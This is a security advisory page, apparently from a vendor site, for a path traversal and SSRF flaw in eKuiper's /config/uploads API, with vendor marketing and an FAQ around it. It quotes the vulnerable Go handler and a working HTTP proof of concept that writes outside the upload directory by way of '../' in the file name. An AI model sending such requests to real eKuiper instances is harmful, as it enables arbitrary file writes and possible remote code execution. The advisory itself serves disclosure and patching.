GHSA-GJ54-GWJ9-X2C6

GHSA-GJ54-GWJ9-X2C6 is a high-severity unrestricted upload of dangerous file types vulnerability in github.com/lf-edge/ekuiper/v2 (go), affecting versions < 2.2.0. It is fixed in 2.2.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

eKuiper /config/uploads API arbitrary file writing may lead to RCE

eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

Details

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	// Upload or overwrite a file
	case http.MethodPost:
		switch r.Header.Get("Content-Type") {
		case "application/json":
			fc := &fileContent{}
			defer r.Body.Close()
			err := json.NewDecoder(r.Body).Decode(fc)
			if err != nil {
				handleError(w, err, "Invalid body: Error decoding file json", logger)
				return
			}
			err = fc.Validate()
			if err != nil {
				handleError(w, err, "Invalid body: missing necessary field", logger)
				return
			}

			filePath := filepath.Join(uploadDir, fc.Name)
			err = upload(fc)
  • The fc.Name parameter do not safely filtered.

PoC

POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}

Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

  1. SSRF
  2. Path-Travel
  3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.

Affected versions

github.com/lf-edge/ekuiper/v2 (< 2.2.0) github.com/lf-edge/ekuiper (<= 1.14.7)

Security releases

github.com/lf-edge/ekuiper/v2 → 2.2.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/lf-edge/ekuiper/v2 to 2.2.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-GJ54-GWJ9-X2C6? GHSA-GJ54-GWJ9-X2C6 is a high-severity unrestricted upload of dangerous file types vulnerability in github.com/lf-edge/ekuiper/v2 (go), affecting versions < 2.2.0. It is fixed in 2.2.0. The application accepts file uploads without adequately restricting the file type or content.
  2. Which packages are affected by GHSA-GJ54-GWJ9-X2C6?
    • github.com/lf-edge/ekuiper/v2 (go) (versions < 2.2.0)
    • github.com/lf-edge/ekuiper (go) (versions <= 1.14.7)
  3. Is there a fix for GHSA-GJ54-GWJ9-X2C6? Yes. GHSA-GJ54-GWJ9-X2C6 is fixed in 2.2.0. Upgrade to this version or later.
  4. Is GHSA-GJ54-GWJ9-X2C6 exploitable, and should I be worried? Whether GHSA-GJ54-GWJ9-X2C6 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-GJ54-GWJ9-X2C6 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-GJ54-GWJ9-X2C6? Upgrade github.com/lf-edge/ekuiper/v2 to 2.2.0 or later.

Other vulnerabilities in github.com/lf-edge/ekuiper/v2

Stop the waste.
Protect your environment with Kodem.